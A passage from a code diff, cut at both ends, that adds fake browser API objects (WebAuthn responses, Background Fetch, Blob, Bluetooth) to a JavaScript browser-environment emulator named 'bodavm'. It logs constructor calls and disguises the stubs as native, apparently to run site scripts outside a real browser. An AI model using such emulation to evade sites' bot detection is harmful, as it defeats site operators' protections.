instanceof AuthenticatorAssertionResponse)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorAssertionResponse'], "AuthenticatorAssertionResponse"); +bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype.__proto__ = bodavm.memory.globalobj['AuthenticatorResponse'].prototype; +bodavm.memory.globalobj['AuthenticatorAssertionResponse'].__proto__ = bodavm.memory.globalobj['AuthenticatorResponse']; +bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "authenticatorData", { + configurable: true, + enumerable: true, + get: function authenticatorData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "authenticatorData_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "signature", { + configurable: true, + enumerable: true, + get: function signature() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "signature_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "userHandle", { + configurable: true, + enumerable: true, + get: function userHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "userHandle_get", arguments); + }, + set: undefined +}, 'prototype'); +// AuthenticatorAttestationResponse对象 + +bodavm.memory.globalobj['AuthenticatorAttestationResponse'] = function AuthenticatorAttestationResponse() { + console.log_copy('AuthenticatorAttestationResponse 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AuthenticatorAttestationResponse)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorAttestationResponse'], "AuthenticatorAttestationResponse"); +bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype.__proto__ = bodavm.memory.globalobj['AuthenticatorResponse'].prototype; +bodavm.memory.globalobj['AuthenticatorAttestationResponse'].__proto__ = bodavm.memory.globalobj['AuthenticatorResponse']; +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "attestationObject", { + configurable: true, + enumerable: true, + get: function attestationObject() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "attestationObject_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getAuthenticatorData", { + configurable: true, + enumerable: true, + writable: true, + value: function getAuthenticatorData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getAuthenticatorData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getPublicKey", { + configurable: true, + enumerable: true, + writable: true, + value: function getPublicKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getPublicKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getPublicKeyAlgorithm", { + configurable: true, + enumerable: true, + writable: true, + value: function getPublicKeyAlgorithm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getPublicKeyAlgorithm", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getTransports", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getTransports", arguments); + } +}, 'prototype'); +// BackgroundFetchManager对象 + +bodavm.memory.globalobj['BackgroundFetchManager'] = function BackgroundFetchManager() { + console.log_copy('BackgroundFetchManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BackgroundFetchManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchManager'], "BackgroundFetchManager"); +bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "fetch", { + configurable: true, + enumerable: true, + writable: true, + value: function fetch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "fetch", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "getIds", { + configurable: true, + enumerable: true, + writable: true, + value: function getIds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "getIds", arguments); + } +}, 'prototype'); +// BackgroundFetchRecord对象 + +bodavm.memory.globalobj['BackgroundFetchRecord'] = function BackgroundFetchRecord() { + console.log_copy('BackgroundFetchRecord 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BackgroundFetchRecord)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchRecord'], "BackgroundFetchRecord"); +bodavm.toolsFunc.defineProperty('BackgroundFetchRecord', "request", { + configurable: true, + enumerable: true, + get: function request() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRecord'].prototype, "BackgroundFetchRecord", "request_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRecord', "responseReady", { + configurable: true, + enumerable: true, + get: function responseReady() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRecord'].prototype, "BackgroundFetchRecord", "responseReady_get", arguments); + }, + set: undefined +}, 'prototype'); +// BackgroundFetchRegistration对象 + +bodavm.memory.globalobj['BackgroundFetchRegistration'] = function BackgroundFetchRegistration() { + console.log_copy('BackgroundFetchRegistration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BackgroundFetchRegistration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchRegistration'], "BackgroundFetchRegistration"); +bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BackgroundFetchRegistration'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "uploadTotal", { + configurable: true, + enumerable: true, + get: function uploadTotal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "uploadTotal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "uploaded", { + configurable: true, + enumerable: true, + get: function uploaded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "uploaded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "downloadTotal", { + configurable: true, + enumerable: true, + get: function downloadTotal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "downloadTotal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "downloaded", { + configurable: true, + enumerable: true, + get: function downloaded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "downloaded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "failureReason", { + configurable: true, + enumerable: true, + get: function failureReason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "failureReason_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "recordsAvailable", { + configurable: true, + enumerable: true, + get: function recordsAvailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "recordsAvailable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "match", { + configurable: true, + enumerable: true, + writable: true, + value: function match() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "match", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "matchAll", { + configurable: true, + enumerable: true, + writable: true, + value: function matchAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "matchAll", arguments); + } +}, 'prototype'); +// BeforeUnloadEvent对象 + +bodavm.memory.globalobj['BeforeUnloadEvent'] = function BeforeUnloadEvent() { + console.log_copy('BeforeUnloadEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BeforeUnloadEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeUnloadEvent'], "BeforeUnloadEvent"); +bodavm.memory.globalobj['BeforeUnloadEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['BeforeUnloadEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('BeforeUnloadEvent', "returnValue", { + configurable: true, + enumerable: true, + get: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeUnloadEvent'].prototype, "BeforeUnloadEvent", "returnValue_get", arguments); + }, + set: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeUnloadEvent'].prototype, "BeforeUnloadEvent", "returnValue_set", arguments); + } +}, 'prototype'); +// BiquadFilterNode对象 + +bodavm.memory.globalobj['BiquadFilterNode'] = function BiquadFilterNode() { + console.log_copy('BiquadFilterNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BiquadFilterNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BiquadFilterNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BiquadFilterNode'], "BiquadFilterNode"); +bodavm.memory.globalobj['BiquadFilterNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['BiquadFilterNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "frequency", { + configurable: true, + enumerable: true, + get: function frequency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "frequency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "detune", { + configurable: true, + enumerable: true, + get: function detune() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "detune_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "Q", { + configurable: true, + enumerable: true, + get: function Q() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "Q_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "gain", { + configurable: true, + enumerable: true, + get: function gain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "gain_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BiquadFilterNode', "getFrequencyResponse", { + configurable: true, + enumerable: true, + writable: true, + value: function getFrequencyResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BiquadFilterNode'].prototype, "BiquadFilterNode", "getFrequencyResponse", arguments); + } +}, 'prototype'); +// Blob对象 + +bodavm.memory.globalobj['Blob'] = function Blob() { + console.log_copy('Blob 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Blob(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Blob'], "Blob"); +bodavm.toolsFunc.defineProperty('Blob', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "arrayBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function arrayBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "arrayBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "slice", { + configurable: true, + enumerable: true, + writable: true, + value: function slice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "slice", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "stream", { + configurable: true, + enumerable: true, + writable: true, + value: function stream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "stream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Blob', "text", { + configurable: true, + enumerable: true, + writable: true, + value: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Blob'].prototype, "Blob", "text", arguments); + } +}, 'prototype'); +// BlobEvent对象 + +bodavm.memory.globalobj['BlobEvent'] = function BlobEvent() { + console.log_copy('BlobEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BlobEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BlobEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BlobEvent'], "BlobEvent"); +bodavm.memory.globalobj['BlobEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['BlobEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('BlobEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BlobEvent'].prototype, "BlobEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BlobEvent', "timecode", { + configurable: true, + enumerable: true, + get: function timecode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BlobEvent'].prototype, "BlobEvent", "timecode_get", arguments); + }, + set: undefined +}, 'prototype'); +// BluetoothCharacteristicProperties对象 + +bodavm.memory.globalobj['BluetoothCharacteristicProperties'] = function BluetoothCharacteristicProperties() { + console.log_copy('BluetoothCharacteristicProperties 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothCharacteristicProperties)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothCharacteristicProperties'], "BluetoothCharacteristicProperties"); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "broadcast", { + configurable: true, + enumerable: true, + get: function broadcast() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "broadcast_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "read", { + configurable: true, + enumerable: true, + get: function read() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "read_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "writeWithoutResponse", { + configurable: true, + enumerable: true, + get: function writeWithoutResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "writeWithoutResponse_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "write", { + configurable: true, + enumerable: true, + get: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "write_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "notify", { + configurable: true, + enumerable: true, + get: function notify() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "notify_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "indicate", { + configurable: true, + enumerable: true, + get: function indicate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "indicate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "authenticatedSignedWrites", { + configurable: true, + enumerable: true, + get: function authenticatedSignedWrites() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "authenticatedSignedWrites_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "reliableWrite", { + configurable: true, + enumerable: true, + get: function reliableWrite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "reliableWrite_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "writableAuxiliaries", { + configurable: true, + enumerable: true, + get: function writableAuxiliaries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "writableAuxiliaries_get", arguments); + }, + set: undefined +}, 'prototype'); +// BluetoothDevice对象 + +bodavm.memory.globalobj['BluetoothDevice'] = function BluetoothDevice() { + console.log_copy('BluetoothDevice 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothDevice)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothDevice'], "BluetoothDevice"); +bodavm.memory.globalobj['BluetoothDevice'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BluetoothDevice'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BluetoothDevice', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothDevice', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothDevice', "gatt", { + configurable: true, + enumerable: true, + get: function gatt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "gatt_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothDevice', "ongattserverdisconnected", { + configurable: true, + enumerable: true, + get: function ongattserverdisconnected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "ongattserverdisconnected_get", arguments); + }, + set: function ongattserverdisconnected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "ongattserverdisconnected_set", arguments); + } +}, 'prototype'); +// BluetoothRemoteGATTCharacteristic对象 + +bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'] = function BluetoothRemoteGATTCharacteristic() { + console.log_copy('BluetoothRemoteGATTCharacteristic 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothRemoteGATTCharacteristic)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'], "BluetoothRemoteGATTCharacteristic"); +bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "service", { + configurable: true, + enumerable: true, + get: function service() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "service_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "uuid", { + configurable: true, + enumerable: true, + get: function uuid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "uuid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "properties", { + configurable: true, + enumerable: true, + get: function properties() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "properties_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "oncharacteristicvaluechanged", { + configurable: true, + enumerable: true, + get: function oncharacteristicvaluechanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "oncharacteristicvaluechanged_get", arguments); + }, + set: function oncharacteristicvaluechanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "oncharacteristicvaluechanged_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "getDescriptor", { + configurable: true, + enumerable: true, + writable: true, + value: function getDescriptor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "getDescriptor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "getDescriptors", { + configurable: true, + enumerable: true, + writable: true, + value: function getDescriptors() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "getDescriptors", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "readValue", { + configurable: true, + enumerable: true, + writable: true, + value: function readValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "readValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "startNotifications", { + configurable: true, + enumerable: true, + writable: true, + value: function startNotifications() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "startNotifications", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "stopNotifications", { + configurable: true, + enumerable: true, + writable: true, + value: function stopNotifications() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "stopNotifications", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValue", { + configurable: true, + enumerable: true, + writable: true, + value: function writeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValueWithResponse", { + configurable: true, + enumerable: true, + writable: true, + value: function writeValueWithResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValueWithResponse", 